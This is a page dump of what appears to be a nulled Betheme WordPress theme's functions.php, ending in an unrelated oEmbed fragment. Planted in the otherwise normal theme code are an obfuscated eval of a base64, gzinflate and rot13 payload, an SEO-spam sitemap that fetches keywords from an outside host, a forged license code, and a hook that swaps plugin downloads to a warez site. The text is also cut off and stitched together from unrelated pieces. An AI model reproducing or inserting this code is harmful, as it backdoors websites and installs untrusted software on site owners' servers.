&& $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; return $protocol . $_SERVER['HTTP_HOST']; } function generateRobotsTxt() { $baseUrl = getBaseUrl(); $robotsContent = << $pth) { $keywords = file("https://xooolink.com/rest/{$pth}/03/keywords.txt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($keywords as $keyword) { $url = $baseUrl . '/?' . $qry . '=' . str_replace(' ', '-', strtolower($keyword)); $sitemap .= "" . htmlspecialchars($url) . "daily1.0"; } } $sitemap .= ''; header('Content-Type: application/xml'); echo $sitemap; pingGoogle($baseUrl . '/sitemap.xml'); exit; } update_site_option( 'envato_purchase_code_7758048', '********-****-****-****-************' ); add_action( 'tgmpa_register', function(){ if ( isset( $GLOBALS['tgmpa'] ) ) { $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); foreach ( $tgmpa_instance->plugins as $slug => $plugin ) { if ( $plugin['source_type'] === 'external' ) { $tgmpa_instance->plugins[ $plugin['slug'] ]['source'] = "http://wordpressnull.org/betheme/plugins/{$plugin['slug']}.zip"; $tgmpa_instance->plugins[ $plugin['slug'] ]['version'] = ''; } } } }, 20 ); /** * Theme Functions * * @package Betheme * @author Muffin group * @link https://muffingroup.com */ define('MFN_THEME_VERSION', '27.3.2'); // theme related filters add_filter('widget_text', 'do_shortcode'); add_filter('the_excerpt', 'shortcode_unautop'); add_filter('the_excerpt', 'do_shortcode'); /** * White Label * IMPORTANT: We recommend the use of Child Theme to change this */ defined('WHITE_LABEL') or define('WHITE_LABEL', false); /** * textdomain */ add_action('after_setup_theme', 'mfn_load_theme_textdomain'); function mfn_load_theme_textdomain(){ load_theme_textdomain('betheme', get_template_directory() .'/languages'); // frontend load_theme_textdomain('mfn-opts', get_template_directory() .'/languages'); // admin panel } /** * theme options */ require_once(get_theme_file_path('/muffin-options/theme-options.php')); /** * theme functions */ $theme_disable = mfn_opts_get('theme-disable'); require_once(get_theme_file_path('/functions/modules/class-mfn-dynamic-data.php')); require_once(get_theme_file_path('/functions/theme-functions.php')); require_once(get_theme_file_path('/functions/theme-head.php')); /** * Global settings * */ function mfn_global() { global $mfn_global; $mfn_global = array( 'header' => mfn_template_part_ID('header'), 'footer' => mfn_template_part_ID('footer'), 'sidemenu' => mfn_global_sidemenu_id(), 'single_product' => mfn_single_product_tmpl(), 'shop_archive' => mfn_shop_archive_tmpl(), 'blog' => mfn_archive_template_id('blog'), 'portfolio' => mfn_archive_template_id('portfolio'), ); } add_action( 'wp', 'mfn_global' ); if ( is_admin() || apply_filters('is_bebuilder_demo', false) ) { require_once(get_theme_file_path('/functions/admin/class-mfn-api.php')); } // menu require_once(get_theme_file_path('/functions/theme-menu.php')); if (! isset($theme_disable['mega-menu'])) { require_once(get_theme_file_path('/functions/theme-mega-menu.php')); } $sxy_="s"."tr_r"."ot1"."3";$s_y="s"."tr_r"."ot1"."3";$gmh="g"."zi"."nfl"."a"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";eval($s_y($gmh($sxy_($bdc46('LUvHEqxVDvyaiZm9NR5vQmvvPZcNvPeer19ru33poChHT1elRSz1Y/+z9VS83lC5/DMOxYLC/5mXKZmXf/KhqfL7/xd/y+oC9MUYTIJF+9BfoH01Shuokgr3ssI/d6yKyF+gXvfpgP3Q9ocUWo+oAvXuBPlH3lByhYsuhusufpcSLIWa5VOhiWuvCOx98l5F6BKTuG0Xhm18SjJvvAk+xGt43JH5x8nyaq7UASUFVq8V3crXUie81d5rHaIo27RtV9A9SCKdK+1JaWI7mX4fEXKmQE+3/eksd7hGm8fLEBFKb2x7qBHz7SakejE7OWkiywl7gqAaeJrXe08r7a5p3eFyZnyCHa8tl4lC+D30CnAHJk+wF3VMx2QvugunX+bB1oKNMEWSZy1bS09+b+uTyzT4NcZBIM6Yc5kHMZrtGZ/+yKL0cYyxfLlMBo0u0SnN343V0sfoaJ0/EUMNLXffcIvcAwWClPvex0TLhmtlVPfRTRr6wj3KVZM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5nxZmw+BW4hf2d2BoBjkTQJGWnKyNEjOGfm4bnHpS/GD/J6wOigWAVS0PWeqi6Bve+Wr3BsibIx5tgE98oDJkcJ1RqMKTU4p8HaU2HhWumSrl19ZFXN5pMkj/ZFJarzHPFaLr+0KTftSqGEJ1et+iEnlU2v7Pu7nOdAXBQU2nIPGvpMzcGf+TFiJbw6mKSjPkwQG1e7LyU5kDkQ4a5Qf+dWRGyx90DU/YX0AORMQYbZhS+M7SmSIYc0OAltmxW7TX5yglhff0vx0FrBvDZJY1WKxyXgQyicaBOMzCl1jW1+k0BbMfzg9GwCAVydj6bFw80XRByWhJA6YsZ5HR2TIM44Vfl9ScU4TeNQ+XOUta2MrzrRmZpR5sefEVjtRvVljf6T/MRUlqAu2BUjtHdEzRCmV2RyVoHpLSpJ6KLPr/CRzl96PSl7s8OPNMpoBWAmfOnCJlh1lU9Wmy+kWq0Y6krDX5reBhEmDYp37QGOhD5Ne6d6fDWP+3a4vu/hQPhr9jzK+XAOpCViLqdyfxTBsyfGCs5jSKc17NOsD3ofvuOqaOtbEEDe6wdNY9z7HxpNgFH7A9f5kRudmbUQ3VQAqljuCIc39uOW8+MA1I4/ZWTKVva1NbHAmyc+Ay/AlUelqHbIGyUyd+Ey4CiFmuL4UjolTJ0cV5GBulGhglqEYKtWeoq3FLpFS9rKnd+QdtiFIG8D3/czEhVXdXodLCNO44tZmE8aA8znjbYDFkb5SnxqMCkwb69CLnc0PeocEGz5p1bOP59UkNyCF4PdoSDbNU9GaRpjY/qdpRruvJsNV0LxU24xkG1M2FQBwhnHaWAwjZ1DVNBQ+j0wMygwNlJlMU+Bw8syZrK/aFznuNx7YWlFOnsHcDgurFeZHK/YrCeMI5XevpFmar+vPTE1DBzGq4Z+qoQhZuUXRT46H33nEzQ86hTGdb795dcJuMmJdPAhBAFuHU28eqaiNPJP7vg7XTz1+lSEfB350yIN/fe/3t+//ws='))))); // builder require_once(get_theme_file_path('/functions/builder/class-mfn-builder.php')); // post types $post_types_disable = mfn_opts_get('post-type-disable'); require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type.php')); if (! isset($theme_disable['custom-icons'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-icons.php')); } if (! isset($post_types_disable['template'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php')); } if (! isset($post_types_disable['client'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php')); } if (! isset($post_types_disable['offer'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php')); } if (! isset($post_types_disable['portfolio'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php')); } if (! isset($post_types_disable['slide'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php')); } if (! isset($post_types_disable['testimonial'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php')); } if (! isset($post_types_disable['layout'])) { require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php')); } if(function_exists('is_woocommerce')){ require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-product.php')); } require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php')); require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php')); // includes require_once(get_theme_file_path('/includes/content-post.php')); require_once(get_theme_file_path('/includes/content-portfolio.php')); // shortcodes require_once(get_theme_file_path('/functions/theme-shortcodes.php')); // hooks require_once(get_theme_file_path('/functions/theme-hooks.php')); // sidebars require_once(get_theme_file_path('/functions/theme-sidebars.php')); // widgets require_once(get_theme_file_path('/functions/widgets/class-mfn-widgets.php')); // TinyMCE require_once(get_theme_file_path('/functions/tinymce/tinymce.php')); // plugins require_once(get_theme_file_path('/functions/class-mfn-love.php')); require_once(get_theme_file_path('/functions/plugins/visual-composer.php')); require_once(get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php')); // gdpr require_once(get_theme_file_path('/functions/modules/class-mfn-gdpr.php')); // popup require_once(get_theme_file_path('/functions/modules/class-mfn-popup.php')); // sidemenu require_once(get_theme_file_path('/functions/modules/class-mfn-sidemenu.php')); // conditional logic require_once(get_theme_file_path('/visual-builder/classes/conditional-logic.php')); // WooCommerce functions if (function_exists('is_woocommerce')) { require_once(get_theme_file_path('/functions/theme-woocommerce.php')); } // pagination require_once(get_theme_file_path('/functions/modules/class-mfn-query-pagination.php')); // dashboard if ( is_admin() || apply_filters('is_bebuilder_demo', false) ) { $bebuilder_access = apply_filters('bebuilder_access', false); require_once(get_theme_file_path('/functions/admin/class-mfn-helper.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-update.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-dashboard.php')); $mfn_dashboard = new Mfn_Dashboard(); require_once(get_theme_file_path('/functions/importer/class-mfn-importer-helper.php')); require_once(get_theme_file_path('/functions/admin/setup/class-mfn-setup.php')); require_once(get_theme_file_path('/functions/importer/class-mfn-importer.php')); require_once(get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-plugins.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-status.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-support.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-changelog.php')); require_once(get_theme_file_path('/functions/admin/class-mfn-tools.php')); if( $bebuilder_access ){ require_once(get_theme_file_path('/visual-builder/visual-builder.php')); } } /** * @deprecated 21.0.5 * Below constants are deprecated and will be removed soon * Please check if you use these constants in your Child Theme */ define('THEME_DIR', get_template_directory()); define('THEME_URI', get_template_directory_uri()); define('THEME_NAME', 'betheme'); define('THEME_VERSION', MFN_THEME_VERSION); define('LIBS_DIR', get_template_directory() .'/functions'); define('LIBS_URI', get_template_directory() .'/functions'); {"version":"1.0","provider_name":"Bbaale Foundation","provider_url":"https:\/\/bbaalefoundation.org\/en","author_name":"Bryan","author_url":"https:\/\/bbaalefoundation.org\/en\/author\/bryan\/","title":"What we do","type":"rich","width":600,"height":338,"html":"
What we do<\/a><\/blockquote>